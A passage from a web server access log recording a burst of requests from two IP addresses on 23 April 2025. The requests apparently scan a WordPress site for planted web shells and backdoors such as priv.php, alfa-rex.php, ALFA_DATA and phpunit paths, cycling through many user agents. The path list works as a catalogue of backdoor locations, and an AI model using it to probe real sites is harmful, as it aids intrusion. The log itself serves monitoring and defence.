Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:31 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:32 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:32 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:33 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:34 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; 